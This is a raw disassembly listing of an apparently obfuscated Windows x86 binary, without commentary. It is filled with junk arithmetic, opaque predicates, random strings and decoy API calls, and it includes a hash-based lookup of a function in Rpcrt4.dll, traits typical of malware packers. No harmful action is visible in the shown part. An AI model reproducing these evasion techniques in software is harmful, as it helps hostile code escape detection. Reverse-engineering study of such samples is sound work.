mov eax, dword [ebp - 0x60]
imul eax, eax, 0x43
add eax, dword [ebp - 0x60]
cmp dword [ebp - 0x348], eax
jne 0x40232b
mov dword [ebp - 0x350], 1
jmp 0x402335
mov dword [ebp - 0x350], 0
mov ecx, dword [ebp - 0x60]
imul ecx, ecx, 0x5b
imul ecx, dword [ebp - 0x60]
add ecx, dword [ebp - 0x60]
cmp ecx, 0xaa
je 0x402356
mov dword [ebp - 0x760], 1
jmp 0x402360
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x60]
and edx, dword [ebp - 0x760]
xor edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x350]
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x184]
not eax
cmp eax, dword [ebp - 0x184]
jne 0x402394
mov dword [ebp - 0x5a4], 1
jmp 0x40239e
mov dword [ebp - 0x5a4], 0
mov ecx, dword [ebp - 0x5a4]
add ecx, 1
imul ecx, ecx, 0x4a
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x880], str.ZiNvwRfcLF1P
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
cmp dword [ebp - 0x60], 0xa2
je 0x4023e3
mov dword [ebp - 0x358], 1
jmp 0x4023ed
mov dword [ebp - 0x358], 0
cmp dword [ebp - 0x60], 3
je 0x4023ff
mov dword [ebp - 0x5ac], 1
jmp 0x402409
mov dword [ebp - 0x5ac], 0
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x60]
and edx, dword [ebp - 0x358]
xor edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5ac]
xor eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
and ecx, 0xd0
xor eax, ecx
or edx, eax
or edx, 0xf1
mov dword [ebp - 0xfc], edx
mov edx, dword [ebp - 0xfc]
neg edx
xor edx, dword [ebp - 0xfc]
and edx, 1
add edx, 0x3b
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0x888], str.nxw71x6A651zvVG0y9VUwFjwE5fad7I
push 0x987ed362
push 0xabc8f753
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
push 0x958d1c17
push str.Rpcrt4.dll
call dword [ebp - 0x360]
push eax
call fcn.00406c70
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp + 0x14]
sub eax, 0x8a
sub eax, dword [ebp + 0x14]
cmp eax, 0xb5
je 0x4024ae
mov dword [ebp - 0x5bc], 1
jmp 0x4024b8
mov dword [ebp - 0x5bc], 0
mov ecx, dword [ebp + 0x14]
cmp ecx, dword [ebp + 0x14]
jne 0x4024cc
mov dword [ebp - 0x5b4], 1
jmp 0x4024d6
mov dword [ebp - 0x5b4], 0
mov edx, 0x84
sub edx, dword [ebp + 0x14]
cmp dword [ebp - 0x5b4], edx
jne 0x4024f2
mov dword [ebp - 0x368], 1
jmp 0x4024fc
mov dword [ebp - 0x368], 0
mov eax, dword [ebp + 0x14]
imul eax, eax, 0x18
add eax, 5
cmp dword [ebp - 0x368], eax
jne 0x402519
mov dword [ebp - 0x370], 1
jmp 0x402523
mov dword [ebp - 0x370], 0
mov ecx, dword [ebp - 0x5bc]
xor ecx, dword [ebp + 0x14]
or ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x14]
imul edx, edx, 0xe5
imul edx, dword [ebp + 0x14]
mov eax, 0x3f
sub eax, edx
xor eax, dword [ebp + 0x14]
or ecx, eax
or ecx, 0x7f
or ecx, dword [ebp - 0x370]
mov dword [ebp - 0x1cc], ecx
mov ecx, dword [ebp - 0x1cc]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1cc]
and edx, 1
cmp ecx, edx
je 0x40257b
mov dword [ebp - 0x5c4], 1
jmp 0x402585
mov dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
add eax, 0x20
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x890], str.ZXw0u3MHiWBZBOdhXJOwXgGYVO
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x14], 0
je 0x402925
cmp dword [ebp - 0x14], 0x68
je 0x4025ce
mov dword [ebp - 0x378], 1
jmp 0x4025d8
mov dword [ebp - 0x378], 0
mov ecx, dword [ebp - 0x378]
cmp ecx, dword [ebp - 0x14]
jne 0x4025ef
mov dword [ebp - 0x380], 1
jmp 0x4025f9
mov dword [ebp - 0x380], 0
cmp dword [ebp - 0x14], 0xd3
je 0x40260e
mov dword [ebp - 0x5cc], 1
jmp 0x402618
mov dword [ebp - 0x5cc], 0
cmp dword [ebp - 0x5cc], 0x6e
jne 0x40262d
mov dword [ebp - 0x5d4], 1
jmp 0x402637
mov dword [ebp - 0x5d4], 0
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x14]
jne 0x40264b
mov dword [ebp - 0x388], 1
jmp 0x402655
mov dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
je 0x40266d
mov dword [ebp - 0x5dc], 1
jmp 0x402677
mov dword [ebp - 0x5dc], 0
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
lea eax, [edx + ecx - 0x28]
cmp eax, dword [ebp - 0x14]
jne 0x402696
mov dword [ebp - 0x390], 1
jmp 0x4026a0
mov dword [ebp - 0x390], 0
mov ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x14]
xor ecx, 0x71
xor ecx, dword [ebp - 0x380]
mov edx, dword [ebp - 0x5d4]
and edx, dword [ebp - 0x388]
xor edx, 0xc
xor edx, dword [ebp - 0x5dc]
mov eax, dword [ebp - 0x390]
and eax, dword [ebp - 0x14]
xor edx, eax
or ecx, edx
mov dword [ebp - 0x104], ecx
mov ecx, dword [ebp - 0x104]
add ecx, dword [ebp - 0x104]
and ecx, 1
add ecx, 1
imul ecx, ecx, 0x3e
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x970], str.NCOncHU89gfO2oASJ
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x54], 0
je 0x402800
cmp dword [ebp - 0x54], 0x6c
je 0x40272c
mov dword [ebp - 0x5e4], 1
jmp 0x402736
mov dword [ebp - 0x5e4], 0
mov edx, dword [ebp - 0x5e4]
cmp edx, dword [ebp - 0x54]
je 0x40274d
mov dword [ebp - 0x398], 1
jmp 0x402757
mov dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
imul ecx, dword [ebp - 0x54]
cmp eax, ecx
je 0x402775
mov dword [ebp - 0x5ec], 1
jmp 0x40277f
mov dword [ebp - 0x5ec], 0
mov edx, dword [ebp - 0x54]
xor edx, 0xed
mov eax, dword [ebp - 0x54]
and eax, dword [ebp - 0x54]
xor edx, eax
or edx, dword [ebp - 0x398]
or edx, dword [ebp - 0x5ec]
mov dword [ebp - 0x18c], edx
mov ecx, dword [ebp - 0x18c]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x18c]
and edx, 1
cmp ecx, edx
je 0x4027c6
mov dword [ebp - 0x3a0], 1
jmp 0x4027d0
mov dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x3a0]
add eax, 1
imul eax, eax, 0x4c
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x898], str.a9FbaJZPBzRgw
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
mov ecx, 0xf4
sub ecx, dword [ebp - 0x54]
cmp ecx, 0x6f
jne 0x402819
mov dword [ebp - 0x5fc], 1
jmp 0x402823
mov dword [ebp - 0x5fc], 0
mov edx, dword [ebp - 0x54]
imul edx, dword [ebp - 0x54]
xor eax, eax
sub eax, dword [ebp - 0x54]
cmp edx, eax
jne 0x40283f
mov dword [ebp - 0x3b0], 1
jmp 0x402849
mov dword [ebp - 0x3b0], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x54]
jne 0x40285d
mov dword [ebp - 0x5f4], 1
jmp 0x402867
mov dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 0x80
je 0x40287f
mov dword [ebp - 0x3a8], 1
jmp 0x402889
mov dword [ebp - 0x3a8], 0
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x54]
add edx, 0xd7
cmp dword [ebp - 0x3a8], edx
je 0x4028a9
mov dword [ebp - 0x604], 1
jmp 0x4028b3
mov dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x54]
imul eax, eax, 0xc3
and eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
imul ecx, ecx, 0x71
and eax, ecx
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
lea edx, [ecx + edx + 0xfd]
and edx, dword [ebp - 0x5fc]
xor eax, edx
xor eax, dword [ebp - 0x3b0]
or eax, dword [ebp - 0x604]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
add eax, dword [ebp - 0xa8]
and eax, 1
or eax, 0x49
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x8a0], str.7K1iEziVYozAHs9zXoVbNH4cfab1
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x14]
jne 0x402939
mov dword [ebp - 0x3b8], 1
jmp 0x402943
mov dword [ebp - 0x3b8], 0
mov edx, dword [ebp - 0x3b8]
cmp edx, dword [ebp - 0x14]
je 0x40295a
mov dword [ebp - 0x3c8], 1
jmp 0x402964
mov dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jne 0x402978
mov dword [ebp - 0x60c], 1
jmp 0x402982
mov dword [ebp - 0x60c], 0
mov ecx, dword [ebp - 0x60c]
cmp ecx, dword [ebp - 0x14]
jne 0x402999
mov dword [ebp - 0x614], 1
jmp 0x4029a3
mov dword [ebp - 0x614], 0
mov edx, dword [ebp - 0x14]
add edx, 0x1a
cmp edx, dword [ebp - 0x14]
je 0x4029ba
mov dword [ebp - 0x3c0], 1
jmp 0x4029c4
mov dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x14]
add eax, 0x1b
cmp dword [ebp - 0x3c0], eax
je 0x4029de
mov dword [ebp - 0x61c], 1
jmp 0x4029e8
mov dword [ebp - 0x61c], 0
mov ecx, dword [ebp - 0x614]
and ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x3c8]
or ecx, dword [ebp - 0x61c]
mov dword [ebp - 0x20c], ecx
mov edx, dword [ebp - 0x20c]
neg edx
and edx, 1
mov eax, dword [ebp - 0x20c]
and eax, 1
cmp edx, eax
je 0x402a27
mov dword [ebp - 0x3d0], 1
jmp 0x402a31
mov dword [ebp - 0x3d0], 0
mov ecx, dword [ebp - 0x3d0]
add ecx, 1
imul ecx, ecx, 0x54
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x8a8], str.UmGomtgG3gKZptgxjQtzqxUQ
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x3c], 0
je 0x402b3b
cmp dword [ebp - 0x3c], 0x42
jne 0x402a7d
mov dword [ebp - 0x624], 1
jmp 0x402a87
mov dword [ebp - 0x624], 0
mov edx, dword [ebp - 0x624]
cmp edx, dword [ebp - 0x3c]
jne 0x402a9e
mov dword [ebp - 0x3d8], 1
jmp 0x402aa8
mov dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x3c]
add eax, 9
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x3c]
xor eax, ecx
mov edx, dword [ebp - 0x3c]
imul edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
imul ecx, ecx, 0xf
add edx, ecx
xor edx, 0xe5
or eax, edx
or eax, dword [ebp - 0x3c]
or eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x114], eax
mov edx, dword [ebp - 0x114]
neg edx
and edx, 1
mov eax, dword [ebp - 0x114]
and eax, 1
cmp edx, eax
je 0x402b01
mov dword [ebp - 0x62c], 1
jmp 0x402b0b
mov dword [ebp - 0x62c], 0
mov ecx, dword [ebp - 0x62c]
add ecx, 1
imul ecx, ecx, 0x50
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0xa18], str.MuQgGieMBW2tNSGvXwrJn9LGixpnwCd
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0x3c], 0x44
je 0x402b4d
mov dword [ebp - 0x3e8], 1
jmp 0x402b57
mov dword [ebp - 0x3e8], 0
cmp dword [ebp - 0x3c], 0xd9
je 0x402b6c
mov dword [ebp - 0x634], 1
jmp 0x402b76
mov dword [ebp - 0x634], 0
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x3c]
je 0x402b8a
mov dword [ebp - 0x63c], 1
jmp 0x402b94
mov dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x3c]
sub eax, 0x8d
cmp eax, 0x91
jne 0x402baf
mov dword [ebp - 0x3f0], 1
jmp 0x402bb9
mov dword [ebp - 0x3f0], 0
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ecx
je 0x402bd1
mov dword [ebp - 0x3e0], 1
jmp 0x402bdb
mov dword [ebp - 0x3e0], 0
cmp dword [ebp - 0x3e0], 0x1f
jne 0x402bf0
mov dword [ebp - 0x644], 1
jmp 0x402bfa
mov dword [ebp - 0x644], 0
mov edx, dword [ebp - 0x3c]
xor edx, dword [ebp - 0x634]
or edx, dword [ebp - 0x3e8]
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
lea eax, [eax + ecx - 0x4f]
xor eax, dword [ebp - 0x63c]
xor eax, dword [ebp - 0x3f0]
or edx, eax
or edx, dword [ebp - 0x3c]
or edx, dword [ebp - 0x3c]
or edx, dword [ebp - 0x644]
mov dword [ebp - 0x194], edx
mov ecx, dword [ebp - 0x194]
neg ecx
xor ecx, dword [ebp - 0x194]
and ecx, 1
or ecx, 0x2d
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x980], str.6eDdLklarpmJborn1Od5HbhUy0gLmn
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
lea ecx, [eax + edx - 0x39]
cmp dword [ebp + 0x14], ecx
jne 0x402c8a
mov dword [ebp - 0x64c], 1
jmp 0x402c94
mov dword [ebp - 0x64c], 0
mov edx, dword [ebp + 0x14]
add edx, dword [ebp + 0x14]
cmp edx, 0x26
jne 0x402cab
mov dword [ebp - 0x400], 1
jmp 0x402cb5
mov dword [ebp - 0x400], 0
mov eax, dword [ebp + 0x14]
imul eax, eax, 0xd2
imul eax, eax, 0x2d
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x14]
lea ecx, [edx + ecx + 0x25]
cmp eax, ecx
jne 0x402cde
mov dword [ebp - 0x3f8], 1
jmp 0x402ce8
mov dword [ebp - 0x3f8], 0
mov edx, dword [ebp - 0x3f8]
cmp edx, dword [ebp + 0x14]
je 0x402cff
mov dword [ebp - 0x654], 1
jmp 0x402d09
mov dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x64c]
and eax, dword [ebp - 0x400]
or eax, dword [ebp - 0x654]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
add ecx, dword [ebp - 0x11c]
and ecx, 1
add ecx, 1
imul ecx, ecx, 0x56
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x9e8], str.jXJYjbS9XnohaRsPGUf
push 0x530e43f4
push 0x75e17df7
push 0xe9800f58
call dword [sym.imp.RPCRT4.dll_RpcNsBindingInqEntryNameW]
cmp dword [ebp - 0x28], 0
je 0x4030bc
mov edx, dword [ebp - 0x28]
imul edx, dword [ebp - 0x28]
shl edx, 3
imul edx, dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jne 0x402d84
mov dword [ebp - 0x408], 1
jmp 0x402d8e
mov dword [ebp - 0x408], 0
cmp dword [ebp - 0x408], 0x9a
jne 0x402da6
mov dword [ebp - 0x66c], 1
jmp 0x402db0
mov dword [ebp - 0x66c], 0
cmp dword [ebp - 0x28], 0x1e
je 0x402dc2
mov dword [ebp - 0x65c], 1
jmp 0x402dcc
mov dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
cmp eax, dword [ebp - 0x28]
jne 0x402de3
mov dword [ebp - 0x410], 1
jmp 0x402ded
mov dword [ebp - 0x410], 0
cmp dword [ebp - 0x410], 0x1a
jne 0x402e02
mov dword [ebp - 0x420], 1
jmp 0x402e0c
mov dword [ebp - 0x420], 0
mov ecx, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x28]
imul edx, dword [ebp - 0x28]
cmp ecx, edx
je 0x402e2a
mov dword [ebp - 0x664], 1
jmp 0x402e34
mov dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x664]
cmp eax, dword [ebp - 0x28]
je 0x402e4b
mov dword [ebp - 0x418], 1
jmp 0x402e55
mov dword [ebp - 0x418], 0
mov ecx, dword [ebp - 0x418]
cmp ecx, dword [ebp - 0x28]
jne 0x402e6c
mov dword [ebp - 0x674], 1
jmp 0x402e76
mov dword [ebp - 0x674], 0
mov edx, dword [ebp - 0x28]
imul edx, edx, 0x8f
mov eax, dword [ebp - 0x28]
sub eax, edx
or eax, dword [ebp - 0x66c]
or eax, dword [ebp - 0x420]
or eax, dword [ebp - 0x674]
mov ecx, dword [ebp - 0x28]
imul ecx, ecx, 0xb4
or eax, ecx
mov dword [ebp - 0x1d4], eax
mov edx, dword [ebp - 0x1d4]
not edx
cmp edx, dword [ebp - 0x1d4]
jne 0x402ec3
mov dword [ebp - 0x428], 1
jmp 0x402ecd
mov dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
add eax, 0x45
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x8c0], str.1CSV86A2cqx
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0xa0], 0
je 0x402ffa
mov ecx, dword [ebp - 0xa0]
sub ecx, 0x74
cmp dword [ebp - 0xa0], ecx
jne 0x402f24
mov dword [ebp - 0x67c], 1
jmp 0x402f2e
mov dword [ebp - 0x67c], 0
mov edx, dword [ebp - 0x67c]
cmp edx, dword [ebp - 0xa0]
jne 0x402f48
mov dword [ebp - 0x430], 1
jmp 0x402f52
mov dword [ebp - 0x430], 0
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0xa0]
cmp eax, 0xb
je 0x402f6f
mov dword [ebp - 0x684], 1
jmp 0x402f79
mov dword [ebp - 0x684], 0
cmp dword [ebp - 0xa0], 0x8c
jne 0x402f91
mov dword [ebp - 0x438], 1
jmp 0x402f9b
mov dword [ebp - 0x438], 0
mov ecx, dword [ebp - 0xa0]
sub ecx, dword [ebp - 0xa0]
sub ecx, 0x32
and ecx, dword [ebp - 0x430]
and ecx, dword [ebp - 0x684]
or ecx, dword [ebp - 0x438]
or ecx, 0x70
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x124]
add edx, dword [ebp - 0x124]
and edx, 1
add edx, 1
imul edx, edx, 0x5f
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x988], str.wBs8XbETv6HPqizluMgjA3PKG0q
push 0x7fbf96d1
push 0x2fc64b9c
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov eax, dword [ebp - 0xa0]
imul eax, eax, 0x68
add eax, dword [ebp - 0xa0]
cmp eax, 0x55
je 0x40301a
mov dword [ebp - 0x68c], 1
jmp 0x403024
mov dword [ebp - 0x68c], 0
mov ecx, 0x3d
sub ecx, dword [ebp - 0xa0]
sub ecx, dword [ebp - 0xa0]
cmp ecx, dword [ebp - 0xa0]
jne 0x403049
mov dword [ebp - 0x440], 1
jmp 0x403053
mov dword [ebp - 0x440], 0
mov edx, dword [ebp - 0xa0]
add edx, 0x1a
mov eax, dword [ebp - 0xa0]
imul eax, eax, 0xf1
and eax, dword [ebp - 0x68c]
xor eax, dword [ebp - 0xa0]
or edx, eax
or edx, dword [ebp - 0x440]
mov dword [ebp - 0x19c], edx
mov ecx, dword [ebp - 0x19c]
add ecx, dword [ebp - 0x19c]
and ecx, 1
add ecx, 1
imul ecx, ecx, 0x61
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0xa40], str.QkyXY9Rhmu1UEJE1dCgkbG
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x28]
jne 0x4030d0
mov dword [ebp - 0x69c], 1
jmp 0x4030da
mov dword [ebp - 0x69c], 0
cmp dword [ebp - 0x28], 0xc6
jne 0x4030ef
mov dword [ebp - 0x694], 1
jmp 0x4030f9
mov dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x28]
add eax, 0x8f
sub eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
je 0x403115
mov dword [ebp - 0x448], 1
jmp 0x40311f
mov dword [ebp - 0x448], 0
mov ecx, dword [ebp - 0x694]
and ecx, 0xe2
mov edx, dword [ebp - 0x28]
imul edx, edx, 0x7f
mov eax, dword [ebp - 0x28]
sub eax, edx
and ecx, eax
and ecx, dword [ebp - 0x448]
xor ecx, dword [ebp - 0x69c]
mov dword [ebp - 0x12c], ecx
mov ecx, dword [ebp - 0x12c]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x12c]
and edx, 1
cmp ecx, edx
je 0x40316e
mov dword [ebp - 0x450], 1
jmp 0x403178
mov dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x450]
add eax, 0x3f
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x990], str.95CwKB0rQLaJUaCsdmanGfk
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
cmp dword [ebp - 0x88], 0
je 0x4032a6
mov ecx, dword [ebp - 0x88]
add ecx, 0x73
mov edx, dword [ebp - 0x88]
imul edx, edx, 0xd0
sub ecx, edx
cmp ecx, 9
je 0x4031db
mov dword [ebp - 0x6a4], 1
jmp 0x4031e5
mov dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x6a4]
cmp eax, dword [ebp - 0x88]
je 0x4031ff
mov dword [ebp - 0x458], 1
jmp 0x403209
mov dword [ebp - 0x458], 0
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x88]
lea eax, [edx + ecx - 0xec]
cmp eax, 0xb1
je 0x40322f
mov dword [ebp - 0x6ac], 1
jmp 0x403239
mov dword [ebp - 0x6ac], 0
mov ecx, dword [ebp - 0x458]
and ecx, dword [ebp - 0x6ac]
and ecx, dword [ebp - 0x88]
or ecx, dword [ebp - 0x88]
mov dword [ebp - 0x1f4], ecx
mov edx, dword [ebp - 0x1f4]
not edx
cmp edx, dword [ebp - 0x1f4]
jne 0x403273
mov dword [ebp - 0x460], 1
jmp 0x40327d
mov dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
or eax, 0x5d
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x8d8], str.AO5k7LwVdaGa9t
push 0x5beaf050
push 0x824aaf7f
call dword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
mov ecx, dword [ebp - 0x88]
cmp ecx, dword [ebp - 0x88]
je 0x4032c0
mov dword [ebp - 0x6b4], 1
jmp 0x4032ca
mov dword [ebp - 0x6b4], 0
mov edx, dword [ebp - 0x88]
imul edx, edx, 0xc2
imul edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
lea ecx, [eax + edx + 0x1a]
sub ecx, dword [ebp - 0x88]
cmp dword [ebp - 0x6b4], ecx
jne 0x403301
mov dword [ebp - 0x468], 1
jmp 0x40330b
mov dword [ebp - 0x468], 0
mov edx, dword [ebp - 0x88]
sub edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
imul eax, dword [ebp - 0x88]
and edx, eax
xor edx, dword [ebp - 0x468]
xor edx, dword [ebp - 0x88]
mov dword [ebp - 0x134], edx
mov ecx, dword [ebp - 0x134]
not ecx
cmp ecx, dword [ebp - 0x134]
jne 0x403354
mov dword [ebp - 0x6bc], 1
jmp 0x40335e
mov dword [ebp - 0x6bc], 0
mov edx, dword [ebp - 0x6bc]
or edx, 0x50
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x8e0], str.4yrZlb1UtwJ5P
push 0x8232c3e
push 0xd541fcbe
push 0x7e7e5b07
push 0xf479b6ee
push 0x86fc363
call sub.NETAPI32.dll_NetAuditWrite
lea eax, [ebp - 0x8e8]
push eax
push 0
push 1
push 0
push 2
push 0
call dword [ebp - 0x7f8]
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
je 0x405692
cmp dword [ebp - 0x470], 0x57
jne 0x405692
mov ecx, dword [ebp + 0x14]
imul ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x14]
cmp ecx, 0x28
je 0x4033e7
mov dword [ebp - 0x6c4], 1
jmp 0x4033f1
mov dword [ebp - 0x6c4], 0
cmp dword [ebp - 0x6c4], 0xde
jne 0x403409
mov dword [ebp - 0x478], 1
jmp 0x403413
mov dword [ebp - 0x478], 0
mov edx, dword [ebp + 0x14]
imul edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
lea ecx, [eax + edx - 0x8b]
cmp ecx, 0x58
je 0x403435
mov dword [ebp - 0x6cc], 1
jmp 0x40343f
mov dword [ebp - 0x6cc], 0
mov edx, dword [ebp + 0x14]
imul edx, dword [ebp + 0x14]
xor edx, dword [ebp - 0x478]
mov eax, dword [ebp + 0x14]
and eax, 0xa2
and eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp + 0x14]
add ecx, 0xb1
and eax, ecx
and eax, dword [ebp + 0x14]
xor edx, eax
mov dword [ebp - 0x1a4], edx
mov edx, dword [ebp - 0x1a4]
not edx
cmp edx, dword [ebp - 0x1a4]
jne 0x40348c
mov dword [ebp - 0x480], 1
jmp 0x403496
mov dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
or eax, 0x58
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0xa20], str.2qJJVKHg4aMy8YU2Ryx
push 0xe97ba28b
call dword [sym.imp.RPCRT4.dll_I_RpcMapWin32Status]
cmp dword [ebp - 0x10], 0
je 0x4037da
cmp dword [ebp - 0x10], 0x50
jne 0x4034d6
mov dword [ebp - 0x488], 1
jmp 0x4034e0
mov dword [ebp - 0x488], 0
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x50
mov edx, dword [ebp - 0x10]
imul edx, edx, 0x35
cmp ecx, edx
je 0x4034fc
mov dword [ebp - 0x6dc], 1
jmp 0x403506
mov dword [ebp - 0x6dc], 0
mov eax, 0xc5
sub eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jne 0x40351f
mov dword [ebp - 0x6d4], 1
jmp 0x403529
mov dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0x25
je 0x40353e
mov dword [ebp - 0x490], 1
jmp 0x403548
mov dword [ebp - 0x490], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x10]
je 0x40355c
mov dword [ebp - 0x6e4], 1
jmp 0x403566
mov dword [ebp - 0x6e4], 0
mov edx, dword [ebp - 0x488]
or edx, dword [ebp - 0x6dc]
or edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10]
mov ecx, 0x4f
sub ecx, eax
sub ecx, dword [ebp - 0x10]
and ecx, dword [ebp - 0x490]
or edx, ecx
mov eax, dword [ebp - 0x10]
and eax, dword [ebp - 0x10]
and eax, 0xc8
and eax, dword [ebp - 0x6e4]
xor eax, dword [ebp - 0x10]
or edx, eax
mov dword [ebp - 0x13c], edx
mov ecx, dword [ebp - 0x13c]
not ecx
cmp ecx, dword [ebp - 0x13c]
jne 0x4035c6
mov dword [ebp - 0x498], 1
jmp 0x4035d0
mov dword [ebp - 0x498], 0
mov edx, dword [ebp - 0x498]
or edx, 0x55
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x8f0], str.YtYLTpgDSeJFgqS30HaDtpDM1erWEZ9
push 0x5beaf050
push 0x824aaf7f
call dword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
cmp dword [ebp - 0x98], 0
je 0x40372a
cmp dword [ebp - 0x98], 0xc6
je 0x40361e
mov dword [ebp - 0x6ec], 1
jmp 0x403628
mov dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6ec]
cmp eax, dword [ebp - 0x98]
jne 0x403642
mov dword [ebp - 0x4a8], 1
jmp 0x40364c
mov dword [ebp - 0x4a8], 0
mov ecx, dword [ebp - 0x98]
imul ecx, ecx, 0xae
imul ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x98]
imul edx, dword [ebp - 0x98]
sub ecx, edx
sub ecx, 0x54
cmp ecx, 0x2e
je 0x403682
